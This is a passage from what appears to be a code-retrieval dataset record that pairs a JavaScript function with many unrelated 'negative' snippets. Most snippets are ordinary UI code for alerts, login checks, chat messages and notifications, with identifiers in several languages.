0)\\n\\t\\t\\t\\t\\t\\t\\telemento.removeClass(\\\"activo\\\");\\n\\t\\t\\t\\t\\t\\telse\\n\\t\\t\\t\\t\\t\\t\\telemento.addClass(\\\"activo\\\");\\n\\t\\t\\t\\t\\t\\telemento.attr(\\\"data-id\\\", respuesta_json.id);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\telse {\\n\\t\\t\\t\\t\\t\\t$(\\\"#template_alertPersonalizado td\\\").text(\\\"Inicia sesión o regístrate para agregar tus inmuebles/desarrollos favoritos.\\\");\\n\\t\\t\\t\\t\\t\\ttemplate_alertPersonalizado();\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t});\\n\\t\\t\\t}\\n\\t\\t});\\n\\t});\\n}\",\n \"function acceder(){\\r\\n limpiarMensajesError()//Limpio todos los mensajes de error cada vez que corro la funcion\\r\\n let nombreUsuario = document.querySelector(\\\"#txtUsuario\\\").value ;\\r\\n let clave = document.querySelector(\\\"#txtClave\\\").value;\\r\\n let acceso = comprobarAcceso (nombreUsuario, clave);\\r\\n let perfil = \\\"\\\"; //variable para capturar perfil del usuario ingresado\\r\\n let i = 0;\\r\\n while(i < usuarios.length){\\r\\n const element = usuarios[i].nombreUsuario.toLowerCase();\\r\\n if(element === nombreUsuario.toLowerCase()){\\r\\n perfil = usuarios[i].perfil;\\r\\n usuarioLoggeado = usuarios[i].nombreUsuario;\\r\\n }\\r\\n i++\\r\\n }\\r\\n //Cuando acceso es true \\r\\n if(acceso){\\r\\n if(perfil === \\\"alumno\\\"){\\r\\n alumnoIngreso();\\r\\n }else if(perfil === \\\"docente\\\"){\\r\\n docenteIngreso();\\r\\n }\\r\\n }\\r\\n}\",\n \"function handleClick() {\\n Swal.fire({\\n title: '¡Atencion!',\\n text: '¿ Esta seguro que desea continuar ?',\\n icon: 'info',\\n confirmButtonText: 'Si',\\n confirmButtonColor: '#00afe1',\\n cancelButtonText: 'Cancelar',\\n showCancelButton: true,\\n allowEnterKey: true,\\n allowEscapeKey: false,\\n allowOutsideClick: false,\\n stopKeydownPropagation: true\\n }).then((result) => {\\n if (result.isConfirmed) {\\n Swal.fire({\\n icon: 'success',\\n title: 'Gracias por confiar en Glavic!',\\n text: 'Estas a un paso de finalizar tu pedido. Te pedimos que valides tus datos en el siguiente formulario para confirmar tu pedido.',\\n confirmButtonText: 'Ok',\\n confirmButtonColor: '#00afe1',\\n });\\n } else if (result.isDenied) {\\n Swal.fire({\\n icon: 'error',\\n title: 'Ups!',\\n text: 'Algo no salio como esperabamos, vuelva a intentar la operacion',\\n timer: 1500\\n });\\n }\\n })\\n }\",\n \"function activarHerramientaPerfil() {\\n console.log(\\\"Activar herramienta perfil\\\");\\n\\n crearYCargarCapaLineaPerfil();\\n activarControlDibujo();\\n\\n\\n}\",\n \"function ejecutaAccion(elemt, type, proyect ){\\n\\tactividadPrevia = true;\\n\\tborradoMultiple = false;\\n\\tcambiandoCategoria = false;\\n\\t\\n\\tif(!$(\\\"#tipoIdentificacion\\\").length){\\n\\t\\t if( $(elemt).closest(\\\"div\\\").text().indexOf(\\\"Frente\\\") != (-1)) {\\n\\t\\t\\t\\t$(\\\".cred_image:eq(0) input.custumStlFileUploadPreview\\\").trigger(\\\"click\\\");\\n\\t\\t\\t\\t//$(\\\".cred_image:eq(0)\\\").addClass(\\\"opacity\\\"); \\n\\t\\t\\t}\\n\\t\\t\\t\\t\\n\\t\\t if( $(elemt).closest(\\\"div\\\").text().indexOf(\\\"Reverso\\\") != (-1)) {\\n\\t\\t\\t\\t$(\\\".cred_image:eq(1) input.custumStlFileUploadPreview\\\").trigger(\\\"click\\\");\\n\\t\\t\\t\\t//$(\\\".cred_image:eq(1)\\\").addClass(\\\"opacity\\\");\\n\\t\\t\\t} \\n\\t\\t if( $(elemt).closest(\\\"div\\\").text().indexOf(\\\"Pasaporte\\\") != (-1)) {\\n\\t\\t\\t\\t console.log($(elemt).closest(\\\"div\\\").text());\\n\\t\\t\\t\\t$(\\\".cred_image:eq(2) input.custumStlFileUploadPreview\\\").trigger(\\\"click\\\");\\n\\t\\t\\t\\t//$(\\\".cred_image:eq(2)\\\").addClass(\\\"opacity\\\");\\n\\t\\t } \\n\\t}\\n\\t\\n \\n if($(elemt).closest(\\\"form\\\").find(\\\"select\\\").attr(\\\"id\\\") != \\\"type_loan\\\"){\\n \\t$(elemt).closest(\\\"form\\\").find(\\\"select\\\").val(type);\\n \\t$(elemt).closest(\\\"form\\\").find(\\\"select\\\").change();\\n \\t$(elemt).closest(\\\"form\\\").find(\\\"select\\\").blur();\\n \\t$(elemt).closest(\\\"form\\\").find(\\\".custumStlFileUploadPreview input\\\").trigger(\\\"click\\\");\\n }\\n if($(elemt).closest(\\\"form\\\").find(\\\"select\\\").attr(\\\"id\\\") == \\\"type_loan\\\" ){\\n \\tcambiarArchivo(type, \\\"#file_compIncome\\\", \\\"#rubroIngresos\\\");\\t\\n }\\n \\n if($(elemt).closest(\\\"#listCredFm2\\\").length ){\\n \\tconsole.log(\\\"ya entro a tipoIdentificacion\\\");\\n \\t cambiarArchivo(type, \\\"#file_credIdentificacion\\\", \\\"#rubroTipoIdentificacion\\\");\\n \\t//$(element).closest(\\\"frm_loan\\\").find(\\\".btn_comprobante[tipodoc='\\\"+type+\\\"']\\\");\\n }\\n\\n}\",\n \"function _ventanaPlanCuentas718(e) {\\n\\tif (e.type == \\\"keydown\\\" && e.which == 119 || e.type == 'click') {\\n\\t\\t_ventanaDatos({\\n\\t\\t\\ttitulo: \\\"VENTANA CUENTA MAYOR\\\",\\n\\t\\t\\tcolumnas: [\\\"LLAVE_MAE\\\", \\\"NOMBRE_MAE\\\"],\\n\\t\\t\\tdata: $_planCuentas718,\\n\\t\\t\\tcallback_esc: () => { validarCtaTercero718() },\\n\\t\\t\\tcallback: (data) => {\\n\\t\\t\\t\\tlet caja = e.currentTarget.id;\\n\\t\\t\\t\\tif (caja == 'ctaingrTercer_718') {\\n\\t\\t\\t\\t\\tSAL718.MAESTROS.LLAVE_MAE = data.LLAVE_MAE; SAL718.MAESTROS.NOMBRE_MAE = data.NOMBRE_MAE;\\n\\t\\t\\t\\t\\t$('#ctaingrTercer_718').val(data.LLAVE_MAE.toString().trim())\\n\\t\\t\\t\\t\\t$('#ctaDescripTercer_718').val(data.NOMBRE_MAE.toString().trim())\\n\\t\\t\\t\\t\\tvalidarTercero718();\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tswitch ($_USUA_GLOBAL[0].PUC) {\\n\\t\\t\\t\\t\\t\\tcase '1': document.getElementById('codPuc_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\\n\\t\\t\\t\\t\\t\\tcase '2': document.getElementById('codCoop_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\\n\\t\\t\\t\\t\\t\\tcase '3': document.getElementById('codPuc_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\\n\\t\\t\\t\\t\\t\\tcase '4': document.getElementById('codOficial_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\\n\\t\\t\\t\\t\\t\\tcase '6': document.getElementById('codPuc_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\\n\\t\\t\\t\\t\\t\\tdefault: document.getElementById('codPuc_718').value = SAL718.MAESTROS.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\tvalidarDivision718();\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t});\\n\\t}\\n}\",\n \"function selectButton(e){\\n \\t//A Player vamos agregando en el array las Posicion(o seas el Turno de los Players)\\n \\tvar currentPlayer = listPlayers[turno];\\n \\tif(hasPositionByButton(e)){\\n\\t \\tcurrentPlayer.addNewPosition(e);\\n\\t \\t//Que imprima en el input el turno que le toca\\n\\t \\tsetTurnOnView();\\n\\t \\t//Para Dibujar en el Button\\n\\t \\tdrawButton(e);\\n\\t \\t//Para Validar si hay un ganador\\n\\t \\tValidateWinner(currentPlayer); \\t\\n\\t //Cambiamos el Turno, al que le toca\\n\\t changeTurn();\\n\\t }\\n }\",\n \"function setTunnetutMouseAction() {\\n let tunnetut = document.getElementsByClassName(\\\"tunnettu sana\\\");\\n if (tunnetut != undefined && tunnetut != null && tunnetut.length > 0) {\\n for (let el of tunnetut) {\\n el.onclick = mouseClickActScopePreserver(el);\\n }\\n }\\n\\n let tunnetut2 = document.getElementsByClassName(\\\"tunnettu sana vinkki\\\");\\n if (tunnetut2 != undefined && tunnetut2 != null && tunnetut2.length > 0) {\\n for (let el of tunnetut2) {\\n el.onclick = mouseClickActScopePreserver(el);\\n }\\n }\\n\\n let tunnetut4 = document.getElementsByClassName(\\\"tunnettu vinkki sana\\\");\\n if (tunnetut4 != undefined && tunnetut4 != null && tunnetut4.length > 0) {\\n for (let el of tunnetut4) {\\n el.onclick = mouseClickActScopePreserver(el);\\n }\\n }\\n\\n let tunnetut3 = document.getElementsByClassName(\\\"fade-in tunnettu sana\\\");\\n if (tunnetut3 != undefined && tunnetut3 != null && tunnetut3.length > 0) {\\n for (let el of tunnetut3) {\\n el.onclick = mouseClickActScopePreserver(el);\\n }\\n }\\n\\n return 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mostrarMensaje() {\n //mostramos un mensaje\n alert(\"¡Nos sorprende tu respuesta!\");\n //cerramos la ventana\n window.close();\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function onMessageArrived(message) {\n console.log(message.payloadString);\n mentrada=message.payloadString;\n document.getElementById(\"tanto\").innerHTML=mentrada;\n\tc=1+1;\n if (mentrada == \"0\"){\n\t\talert(\"No hay alimento en el dispensador\");\n\t}\n\n }","function msgPerdeu() {\n swal({\n title: \"Perdeste!\",\n type: \"error\",\n timer: 3000,\n showConfirmButton: false\n });\n bloqueioBoneco();\n }","function imprimir(mensaje){\n console.log(mensaje);\n}","function imprimir(mensaje){\n console.log(mensaje);\n}","function imprimir(mensaje){\n console.log(mensaje);\n}","function clearSuccessMessage() {\n\n }","function mensajes(respuesta){\n\n\t\t\t\tvar foo = respuesta;\n\n\t\t\t\t\tswitch (foo) {\n\n\t\t\t\t\t\tcase \"no_exite_session\":\n\t\t\t\t\t\t//============================caso 1 NO EXISTE SESSION==================//\n\t\t\t\t\t\tswal(\n\t\t\t\t\t\t\t\t'Antes de comprar Inicia tu Session en la Pagina?',\n\t\t\t\t\t\t\t\t'Recuerda si no tienes cuenta en la pagina puedes registrarte?',\n\t\t\t\t\t\t\t\t'question'\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\tbreak;\n\n\n\t\t\t\t\t\tcase \"saldo_insuficiente\":\n\t\t\t\t\t\t//==============CASO 2 SALDO INSUFICIENTE=======================//\n\n\t\t\t\t\t\tswal({\n\t\t\t\t\t\t\ttype: 'error',\n\t\t\t\t\t\t\ttitle: 'Oops...',\n\t\t\t\t\t\t\ttext: 'Tu saldo es insuficiente para poder realizar la trasaccion, recarga tu monedero e intenta de nuevo',\n\t\t\t\t\t\t\tfooter: 'Puedes recargas tu saldo con nostros mas informacion en nuestras redes sociales'\n\t\t\t\t\t\t})\n\t\t\t\t\t\tbreak;\n\n\n\n\t\t\t\t\t}\n\t\t\t}","inviaMessaggio(){\n if(this.messaggioInputUtente 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contenedor.insertBefore(div, areaSig);\n // Remover el mensaje de alerta\n //quitar el elemento despues de 2 segundos\n setTimeout(function() {\n document.querySelector('.alerta').remove();\n }, 2000);\n \n}","mostra_successo(msg) {\n\t\tvar contenuto = document.getElementById(\"contenuto\");\n\t\twhile ( contenuto.firstChild != null) {\n\t\t\tcontenuto.removeChild(contenuto.firstChild);\n\t\t}\n\t\t$(\"#contenuto\").append(msg);\n\t\t\n\t}","async function valiMess(event){\n event.preventDefault(); //dont refresh any way\n let mes = document.getElementById('mes').value.trim()\n document.getElementById('mes').value = ''\n if(mes === \"\"){\n alert(\"message required\")\n event.preventDefault()\n return\n }\n\n document.getElementById(\"det\").style.visibility = \"visible\"\n await fetch(\"/addMessage?mess=\"+mes, {method: \"post\"})\n .then(res => res.json())\n .then(response => {\n for (let i in response) {\n if(response[i] === \"disconnected\")\n stopIntervalAndReturn()\n else if(response[i] === \"message required\"){\n alert(\"message required\")\n return\n }\n\n document.getElementById(\"det\").innerText = response[i]\n }\n })\n .catch(err => (console.log(err.message)))\n\n checkNewMessage()\n }","function message(retorno){\n\n if(retorno[0] == 'msg'){\n let msg = $('').addClass('alert alert-'+retorno[1]+' alert-dismissible fadeshow col-md-12');\n msg.append($('').addClass('close').attr('data-dismiss', 'alert').html('×'))\n msg.attr('align', 'center').append(''+retorno[2]+'
');\n msg.css('box-shadow', '2px 2px 3px #000');\n\n $('#dinamic').find('div #msg').remove();\n $('#cadastrarProduto, #estoque, #editEstoque, #editarProduto, #cadastrarMarca, #cadastrarCategoria, #vendaPainelTable').\n parent().prepend($('').attr('id', 'msg').addClass('row mb-5').html(msg));\n }\n}","function Mensajes(mensaje) {\n if (mensaje == 'Transaccion realizada correctamente')\n $().toastmessage('showSuccessToast', mensaje);\n else\n $().toastmessage('showErrorToast', mensaje);\n}","function showMessageMittente(text){\r\n\tif(text == \"\")\r\n\t\treturn;\r\n\r\n\tif(lastSender == IS_LAST_NON_SPECIFICATO || lastSender != IS_LAST_MITTENTE){\r\n\t\tlastSender = IS_LAST_MITTENTE;\r\n\t\tchangeLastSender();\r\n\t}\r\n\r\n\tshowMessage(text);\r\n}","function BasariMesaj( text){\n\t text = jQuery.trim(text); \n\t var dil = \"Tebrikler !\";\n\t if( strcmp( er.lang, \"en\" ) == 0 )\n\t dil = \"Congratulations !\";\n\t if( $(\".msgGrowl-container\").find(\".msgGrowl\").length <= 1 ){ \n\t $.msgGrowl ({\n\t element: $('body').parent(),\n\t type: 'success', //$(this).attr ('data-type') // info success warning error\n\t title: dil,\n\t text: text.charAt(0).toUpperCase() + text.slice(1) // capitialize first character\n\t });\n\t }\n\t }","function mensaje(){\n\n\talert(\"Mensaje de Bienvenida\");\n}","function message(ar) {\n\tif(ar==1){\n\t document.getElementById('successMsg').innerHTML +=\n\t \"Projekt wurde genehmigt!\";\n\t}\n\telse{\n\t\tdocument.getElementById('successMsg').innerHTML +=\n\t\t\t \"Projekt wurde abgelehnt!\";\n\t}\n\t var element = 'snackbar';\n\t $(function(){\n\t\t\t$(function(){\n\t\t\t\t$('#'+element).addClass('animated slideInUp');\n\t document.getElementById(\"snackbar\").style.visibility = \"visible\";\n\t\t\t\t$('#'+element).one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function(){\n\t\t\t\t\t$('#'+element).removeClass('animated slideInUp');\n\t\t\t\t\t$(function(){\n\t\t\t\t\t\t$('#'+element).addClass('animated slideOutDown delay-3s');\n\t\t\t\t\t\t$('#'+element).one('webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend', function(){\n\t\t\t\t\t\t\t$('#'+element).removeClass('animated slideOutDown delay-3s');\n\t\t\t\t\t\t\t$('#'+element).remove();\t\n\t\t\t\t\t\t});\n\t\t\t\t\t});\t\n\t\t\t\t});\n\t\t\t});\n\t\t});\n\t}","function showComingMsg(data) {\r\n addMsg(data, \"someone-else\");\r\n}","function nack() {\n Twibble.messages.unshift(message);\n Twibble.sendMessage();\n }","function noop() {\n console.warn('Hermes messaging is not supported.');\n }","function probando(req, res) {\n res.status(200).send({ message: 'Probando desde del controladaor Message.' });\n}","function message(msg) {\n var status = document.getElementById('status');\n status.textContent = msg;\n setTimeout(function() {\n status.textContent = '';\n }, 1500);\n}","TheMessage(msg) {\n return;\n }","function ack() {\n Twibble.sendMessage();\n }","mostrarSaludo(mensaje){\n\t\treturn mensaje;\t\n\t}","function mensajemodal(mensaje, titulo = \"ATENCIÓN\") {\r\n swal({\r\n title: titulo,\r\n text: mensaje\r\n },\r\n function () {\r\n swal.close();\r\n $interval.cancel(interval);\r\n });\r\n var interval = $interval(function () {\r\n swal.close();\r\n $interval.cancel(interval);\r\n }, 3000);\r\n }","function mensajemodal(mensaje, titulo = \"ATENCIÓN\") {\r\n swal({\r\n title: titulo,\r\n text: mensaje\r\n },\r\n function () {\r\n swal.close();\r\n $interval.cancel(interval);\r\n });\r\n var interval = $interval(function () {\r\n swal.close();\r\n $interval.cancel(interval);\r\n }, 3000);\r\n }","function envoiMessage(mess) {\r\n // On recupere le message\r\n var message = document.getElementById('message').value;\r\n\r\n // On appelle l'evenement se trouvant sur le serveur pour qu'il enregistre le message et qu'il l'envoie a tous les autres clients connectes (sauf nous)\r\n socket.emit('nouveauMessage', { 'pseudo' : pseudo, 'message' : message });\r\n\r\n // On affiche directement notre message dans notre page\r\n document.getElementById('tchat').innerHTML += ''+pseudo+' : '+message+'';\r\n\r\n // On vide le formulaire\r\n document.getElementById('message').value = '';\r\n\r\n // On retourne false pour pas que le formulaire n'actualise pas la page\r\n return false;\r\n}","function msg() {\r\n\t\tsetTimeout(function () {\r\n\t\t\tif(message !== lastMessage) {\r\n\t\t\t\t//client.sendMessage(chanObj, message);\r\n\t\t\t\tchanObj.send(message);\r\n\t\t\t\tlastMessage = message;\r\n\t\t\t}\r\n\t\t\tmsg();\r\n\t\t}, 100);\r\n\t}","function setMsg(msg) {\n\tif (msg != \"\") {\n\t\t$('#signal-msg').html(msg).fadeOut(1000);\n\t\treturn true;\n\t}\n\treturn false;\n}","static messageNoData() {\n //\n noDataMessage.style.display = 'block';\n }","function noThanks () { \n console.log (\"OK, maybe another day. Bye!\"); \n}","function saludo3(mensaje){\n console.log(`Hola buen dia 3 ${mensaje}`);\n }","function emitirAviso(mensagem, id, tempo){\n let snackbar = document.getElementById(id);\n snackbar.innerHTML = mensagem;\n snackbar.className = \"show\";\n setTimeout(function(){snackbar.className = snackbar.className.replace(\"show\", \"\"); }, tempo);\n}","function inviaMessaggioUtente(){\n var text_user=($('.send').val());\n if (text_user) { //la dicitura cosi senza condizione, stà a dire text_user=0\n templateMsg = $(\".template-message .new-message\").clone()\n templateMsg.find(\".text-message\").text(text_user);\n templateMsg.find(\".time-message\").text(ora);\n templateMsg.addClass(\"sendbyUser\");\n $(\".conversation\").append(templateMsg);\n $(\".send\").val(\"\");\n setTimeout(stampaMessaggioCpu, 2000);\n\n var pixelScroll=$('.containChat')[0].scrollHeight;\n $(\".containChat\").scrollTop(pixelScroll);\n }\n }","function nota(op,msg,time){\n if(time == undefined)time = 5000;\n var n = noty({text:msg,maxVisible: 1,type:op,killer:true,timeout:time,layout: 'center'});\n}","function setSucessMessageWithFade(message){\n setSucessMessage(message);\n setTimeout(function() {\n setSucessMessage('');\n }, 3000);\n }","function chatbotResponse() {\n botMessage = \"Introduzca la respuesta correcta por favor\"; //the default message\n\n if (lastUserMessage === \"si\" || lastUserMessage === \"Si\") {\n botMessage = \"Perfecto\";\n }\n\n if (counter === 0) {\n counter = 1;\n botMessage =\n \"Soy tu asesor DAP legal, ¿Quieres que te ayude a formalizar un préstamo?\";\n }\n}","function OnSuccessCallMaladie(data, status, jqXHR) {\n\t\t\tnotif(\"success\", \"Brief envoyé avec succès !\");\n\t\t}","HandleMessage( msg ) {\n return false;\n }","function checkMessages() {\n messageBackground({\n action: 'check messages'\n });\n}","function quitarMensaje() {\n document.getElementsByTagName('span')[0].textContent = \"\";\n clearInterval(cuentaAtras);\n }","function functionNexMessage(){\n if(messageQueue.length == 0) return;\n\n $(\"#messageArea\").prepend(messageQueue[0]);\n $(messageQueue[0]).fadeIn();\n $(messageQueue[0]).animate({bottom:'0px'},1000);\n\n messageQueue[0].messageTimeout = setTimeout(function () {\n $.when($(messageQueue[0]).fadeOut(500))\n .done(function() {\n $(messageQueue[0]).remove();\n messageQueue.splice(0, 1);\n functionNexMessage();\n\n });\n }, messageLength);\n\n\n\n}","function AnimateMessage() {\n var domain_message = $(\"div.waiting_message\");\n var is_detect = true;\n domain_message.fadeToggle(700);\n if(!domain_message.length) {\n is_detect = false;\n return;\n }\n console.log(is_detect);\n setTimeout(arguments.callee, 700);\n }","limpiarMensaje() {\n const alerta = document.querySelector('.alert');\n\n if (alerta) {\n alerta.remove();\n }\n }","function printErrorMessage(msg){\r\n\t\t console.log(\"in printmessage() message received: \"+msg);\r\n\t\t if(msg != \"\")\r\n\t\t\t setTimeout(printErrorMessage,7000,\"\");\r\n\t\t $(viewLeavesMessage_id).text(msg);\r\n\t\t \r\n\t }","function mostrarAyuda(msg) {\n $.notify({\n message: msg\n }, {\n type: 'info',\n delay: 3000,\n placement: {\n align: 'center'\n },\n z_index: 99999,\n });\n}","function getWelcomeMessage(){\n g.msgNo = 0;\n serverRequest(getParams(\"none\"),false);\n}","function addMesaj(mesaj,disappear)\r\n { \r\n \r\n mesaj[0].id=\"mesaj\";\r\n \tmesaj[0].innerHTML=mesaj.innerHTML;\r\n \tdocument.body.appendChild(mesaj[0]);\r\n\r\n \tvar MessageDisapears=setTimeout(function(){\r\n if(disappear)\r\n { \r\n console.log(disappear);\r\n var m=document.getElementById(\"mesaj\");\r\n document.body.removeChild(m);\r\n }\r\n \t},joc.getMsgDisappears());\r\n }","function ok() {\n timer();\n var msgCopy = $(\"#template .msgpc\").clone();\n msgCopy.find(\".txt\").text(\"ok\");\n msgCopy.find(\".time\").text(timer);\n $(\"#chatwindow .chatsbox.active .chatbox\").prepend(msgCopy);\n }","function sendMessage() {\n sendNewMessage({ dsText: valueInput.trim(), usuario: getUsuarioLogado() });\n setValueInput('');\n }","function messageFailureHandler() {\n console.log(\"Message send failed.\");\n sendMessage();\n}","function messageFailureHandler() {\n console.log(\"Message send failed.\");\n}","function messageFailureHandler() {\n console.log(\"Message send failed.\");\n}","function afficherErreur(message) {\n $('#manitouAlertes').html('' + message).removeClass('manitouAlerteSucces').addClass('manitouAlerteErreur').show().delay(4000).hide(400);\n }","function showMessage(msg){\n $(message).append(''+msg+'');\n runClean(3000);\n}","showAlertAcessoParticipante(sucess_error,mensagem){\n if(sucess_error==='success'){\n const div = document.createElement('div')\n div.id = 'message'\n div.innerHTML = `\n \n \n \n \n \n ${mensagem}
\n \n \n `\n document.getElementById(this.divsIDs.header).insertBefore(div,document.getElementById(this.divsIDs.funciWrapper))\n }\n if(sucess_error==='error'){\n const div = document.createElement('div')\n div.id = 'message'\n div.innerHTML = `\n \n \n \n \n \n ${mensagem}
\n \n \n `\n document.getElementById(this.divsIDs.header).insertBefore(div,document.getElementById(this.divsIDs.funciWrapper))\n }\n setTimeout(() => {\n document.getElementById('message').remove()\n }, 3000);\n }","function sendMessage(){\n //Gets the message that will be sent to the server and put it into variable\n var msgToSend = g.messageBox.value.trim()\n \n //Checks whethers it is null, does not want to send empty string\n if(msgToSend != \"\"){\n //Stops the script from updating every 5 seconds, makes it synchronous,\n //then sends messages and finally makes it asynchronous again.\n clearInterval(g.updateInterval);\n serverRequest(getParams(msgToSend),false);\n g.updateInterval = setInterval(getMessages, 5000); \n g.messageBox.value = \"\"; //clear message box\n }\n}","function messageNoHousehold() {\n addMessage('You aren\\'t a registered member of a household. Click \"Household\" on the navigation menu to create or join a household.', 'error');\n}","_msgCallback(err) {\n if (err) {\n console.log(err);\n // TODO: Handle it by showing a prompt\n }\n\n // Re-enable message composer\n this.setState({\n busy: false\n });\n }","function test(message) {\n return 0;\n}","function HataMesaj( text){\n\t text = jQuery.trim(text); \n\t var dil = \"Hata !\";\n\t if( strcmp( er.lang, \"en\" ) == 0 )\n\t dil = \"Error !\";\n\t if( $(\".msgGrowl-container\").find(\".msgGrowl\").length <= 1 ){ \n\t $.msgGrowl ({\n\t element: $('body').parent(),\n\t type: 'error', //$(this).attr ('data-type') // info success warning error\n\t title: dil,\n\t text: text.charAt(0).toUpperCase() + text.slice(1) // capitialize first character\n\t });\n\t }\n\t }","function sendMessage(){}","function failedsent() {\n console.error(\"Invio delle notizie non riuscito!\")\n $(\"#formerr\").fadeIn(750);\n $(\"#infomsg\").text(\"Invio delle notizie non riuscito!\");\n $(\"#formerr\").delay(3000).fadeOut(2000);\n}","function obtenerMensaje1(campo){\n\tvar mensaje = \"\";\n switch(campo){\n case 'idproraz': mensaje = \"Si modificó algún campo de este módulo debe justificar.\";\n\tbreak;\n\t}\n\treturn mensaje; \n\t\n}","function alertNotificar(texto, tipo){\n PNotify.removeAll()\n new PNotify({\n title: 'Mensaje de Información',\n text: texto,\n type: tipo,\n hide: true,\n delay: 7000,\n styling: 'bootstrap3',\n addclass: ''\n });\n }","function showMessageDestinatario(text){\r\n\tif(text == \"\")\r\n\t\treturn;\r\n\r\n\tif(lastSender == IS_LAST_NON_SPECIFICATO || lastSender != IS_LAST_DESTINATARIO){\r\n\t\tlastSender = IS_LAST_DESTINATARIO;\r\n\t\tchangeLastSender();\r\n\t}\r\n\r\n\tshowMessage(text);\r\n}","function notif(message, success){\n success = (typeof success !== 'undefined') ? success : true;\n $('' + message + '')\n .prependTo(\"body\")\n .fadeIn('fast')\n .delay(5000)\n .fadeOut('fast')\n .queue(function(){$(this).remove()});\n}","function checkMessage(inputMsg) {\n if(inputMsg == undefined){\n return \"\";\n }\n else{\n return inputMsg;\n }\n }","function notyMessage(statue) {\n $.noty.defaults.killer = true; //closes existing notys\n noty({\n text: 'Congratulations, you found ' + statue.name + '. X ',\n layout: 'topCenter',\n closeWith: ['click'],\n type: 'success'\n });\n}","registeredMsg() {\n return 'You are already regsitered!';\n }","function ClearStatusMsg() \n {\n\n SetStatusMsg(\"StatusMsg\", \"\");\n }","function mensagem(texto) {\n $(\"#erro p\").text(texto).addClass('alert-danger').addClass('alert');\n\n if (texto)\n $(\"#erro\").show(\"slow\");\n else\n $(\"#erro\").hide(\"slow\");\n\n setTimeout(function () {\n $(\"#erro\").hide('slow');\n }, 3000);\n}","function limpaMensagens() {\n $rootScope.messages.length = 0;\n }","function process_event(event){\n // Capturamos los datos del que genera el evento y el mensaje\n var senderID = event.sender.id;\n var message = event.message;\n \n // Si en el evento existe un mensaje de tipo texto\n if(message.text){\n console.log('=========MENSAJE DE ============')\n console.log('Mensaje de ' + senderID);\n console.log('mensaje: ' + message.text);\n\n if(message.text === 'Integrantes'){\n enviar_texto(senderID, {\n \"text\": '-Flores Olegua Johan Rafael 1910082' + ' ' +'-Pozo Aquino Erick Junior 1316534' + ' ' +'-Arroyo Caseres Juan Carlos ',\n })\n }\n if(message.text === 'integrantes'){\n enviar_texto(senderID, {\n \"text\": '-Flores Olegua Johan Rafael 1910082' + ' ' +'-Pozo Aquino Erick Junior 1316534' + ' ' +'-Arroyo Caseres Juan Carlos ',\n })\n }\n}\n \n // Enviamos el mensaje mediante SendAPI\n //enviar_texto(senderID, response);\n }","function notifyFail(msg) {\n const notifcns = document.querySelector('#notifications');\n if (notifcns) notifcns.remove();\n document.querySelector('nav .notifications .counter').textContent = ' ! '; // note U+2005 ¼ em spaces\n const notificationsHtml = `${msg}`;\n document.querySelector('nav .notifications').insertAdjacentHTML('beforeend', notificationsHtml);\n document.querySelector('nav .notifications').classList.remove('hide');\n }","function displayMessage(msg) {\r\n $('#msg').bind(\"DOMSubtreeModified\", function () {\r\n window.setTimeout(function () {\r\n $(\".alert\").fadeTo(500, 0).slideUp(500, function () {\r\n $(this).remove();\r\n document.getElementById(\"msg\").classList.toggle(\"frente\");\r\n });\r\n }, 2500);\r\n });\r\n // Acrescenta classe à DIV para ficar à frente da DIV branca-transparente\r\n document.getElementById(\"msg\").classList.toggle(\"frente\");\r\n // Insere os dados da mensagem de alerta na DIV e exibe a mensagem\r\n $('#msg').html('' + msg + '');\r\n}","function piman_send_message(msg,error){\n msg = '' + msg + '';\n\n $(window).scrollTop($('body').position().top)\n\n $(\"#notifications_content\").html(msg)\n .addClass(error ? 'error' : 'success');\n\n $(\"#notifications\")\n .toggle()\n .delay(5000).fadeOut()\n .click(function(){$(this).stop(true,true).fadeOut()});\n\n}","_ackSendMessageHandler(json){\n\t if (json.user !== CooperativeEditorParticipants.userName ){\n \t\t\tthis.domHost.playTTS(json.user);\n \t\t}\n\n \t\tthis.push('messages', {\"user\": json.user, \"message\": json.message, \"time\": json.time});\n \t\tthis.domHost.playSound(\"sendMessage\", json.effect, json.position);\n \t\t\n \t\tthis.isTyping = false;\n }","function ChatMessage() {\n if (document.getElementById(\"chatSend\").value.trim() != \"\") {\n var ChatMsg = document.getElementById(\"chatSend\");\n ChatUser(ChatMsg.value);\n //ChatAdmin(\"Please wait\");\n // var blMsg = SendNewMsg(ChatMsg.value);\n // if (blMsg) {\n // cntMsg = cntMsg + 1;\n // }\n //alert(\"End\");\n\n // var blMsg = CallSendMsg(cntMsg);\n // if (blMsg) {\n // cntMsg = cntMsg + 1;\n // }\n var blMsg = ShowAdminMessage(ChatMsg.value);\n if (blMsg) {\n cntMsg = cntMsg + 1;\n }\n\n //ChatSuggestions(\"test2\");\n ChatMsg.value = \"\";\n return false;\n }\n}","function _noconn()\n\t{\n\t\tUTILS.msgbox(\"You do not have a good enough signal to complete the request. Please try again later.\", \"No Connection\");\n\t}","function Fnc_BuscarInformacionHogar(s, e) {\n\n if (txtIdentidad.GetText() != \"\" || txtHogar.GetText() != \"\") {\n var NumHogar = (txtHogar.GetText() == \"\") ? 0 : txtHogar.GetText()\n if (txtIdentidad.GetText() != \"\") {\n if (txtIdentidad.GetText().length != 13) {\n $(\".warning\").hide()\n $(\"body\").waitMe(\"hide\")\n $(\"#Error_text\").text(\"error dede de ingresar un numero de identidad valido\")\n $(\".error\").show()\n return 0;\n }\n }\n Fnc_PeticionInformacionHogarSuspender(NumHogar, txtIdentidad.GetText())\n\n } else {\n 